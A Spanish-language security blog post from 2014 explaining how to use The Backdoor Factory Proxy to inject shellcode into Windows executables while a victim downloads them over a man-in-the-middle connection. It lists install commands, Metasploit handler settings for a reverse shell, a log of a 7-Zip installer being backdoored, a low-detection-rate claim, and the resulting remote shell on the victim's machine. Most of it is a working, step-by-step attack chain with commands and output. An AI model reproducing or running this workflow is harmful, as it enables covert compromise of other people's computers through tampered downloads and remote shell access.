miércoles, 4 de junio de 2014

Inyecta shellcodes en ficheros exe "al vuelo" con The Backdoor Factory Proxy (BDFProxy)


The Backdoor Factory (BDF) es una herramienta escrita en Python para "parchear" binarios ejecutables añadiendo shellcodes mediante Code Cave Injection. Esto es, en lugar de abusar de una función del API de Windows para forzar que un proceso cargue un archivo DLL, asignar memoria en nuestro proceso de destino e inyectar un pequeño fragmento de código, o mejor dicho el trozo que cargará el archivo DLL. Esta es una forma más eficaz y menos detectada de inyección de código.

Más o menos, lo que hace BDF es enumerar el formato de la cabecera PE/COFF, buscar code caves que correspondan al tamaño del shellcode, insertarlo y volver a los registros/flags correspondientes para continuar con la ejecución normal del programa. Además permite "backdoorizar" un directorio entero, personalizar tus propios shellcodes y tiene un módulo de inyección bastante chulo que mirará un proceso o servicio específico para automatizar la inyección.

Y por si fuera poco, recientemente se ha publicado The Backdoor Factory Proxy (BDFProxy) que es capaz de parchear los binarios "al vuelo" durante la descarga, convirtiendo un MITM en un vector de ataque sumamente peligroso:

Su instalación en Kali Linux es sumamente sencilla:
root@kali:~# git clone https://github.com/secretsquirrel/BDFProxy bdf-proxy/
root@kali:~/bdf-proxy# ./install.sh 
root@kali:~/bdf-proxy# ./update.sh 

Necesitaremos también el módulo 'pefile' para leer y trabajar con ficheros PE (Portable Executable):
root@kali:~/bdf-proxy# wget https://pefile.googlecode.com/files/pefile-1.2.10-139.tar.gz
root@kali:~/bdf-proxy# tar -zxvf pefile-1.2.10-139.tar.gz 
root@kali:~/bdf-proxy/pefile-1.2.10-139# python setup.py install

Echamos un vistazo al fichero de configuración bdfproxy.cfg y lanzamos el script principal:
root@kali:~/bdf-proxy# ./bdf_proxy.py 
[!] Writing resource script.
[!] Resource writen to bdfproxy_msf_resource.rc
[!] Starting BDFProxy

Luego preparamos nuestro meterpreter:
msf > use multi/handler
msf  exploit(handler) > set LHOST 192.168.142.128
LHOST => 192.168.142.128
msf  exploit(handler) > set LPORT 8443
LPORT => 8443
msf  exploit(handler) > exploit -z -j

Y cuando la víctima se descargue un ejecutable de Internet se parcheará automáticamente con nuestro shellcode:


********** REQUEST **********
[*] HOST:  cznic.dl.sourceforge.net
[*] PATH:  /project/sevenzip/7-Zip/9.20/7z920.exe
********** END REQUEST **********
========== RESPONSE ==========
[*] HOST:  cznic.dl.sourceforge.net
[*] PATH:  /project/sevenzip/7-Zip/9.20/7z920.exe
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] /tmp/tmpS8kUPf backdooring complete
[*] Patching complete, forwarding to user.
========== END RESPONSE ==========

El fichero exe resultante no es FUD pero tiene una tasa de detección bastante baja:
https://www.virustotal.com/es/file/176bcf478114f69c82a2fb99b9950dbe6a2d4ca5edce099c28e591bdf1c700e3/analysis/1401706535/
     
Así que cuando la víctima ejecute el fichero exe infectado abrirá en background una sesión remota en nuestro equipo (el del atacante):
     
msf exploit(handler) > [*] Command shell session 1 opened (192.168.142.128:8443 -> 172.20.3.109:11162) at 2014-06-02 01:19:36 -0400

msf exploit(handler) > 
msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Type           Information     Connection
  --  ----           -----------     ---------
  1   shell windows                  192.168.142.128:8443 -> 172.20.3.109:11162 (172.20.3.109)

  msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\vmotos\Desktop>whoami
whoami
PC23462\vmotos

No hay comentarios:

Publicar un comentario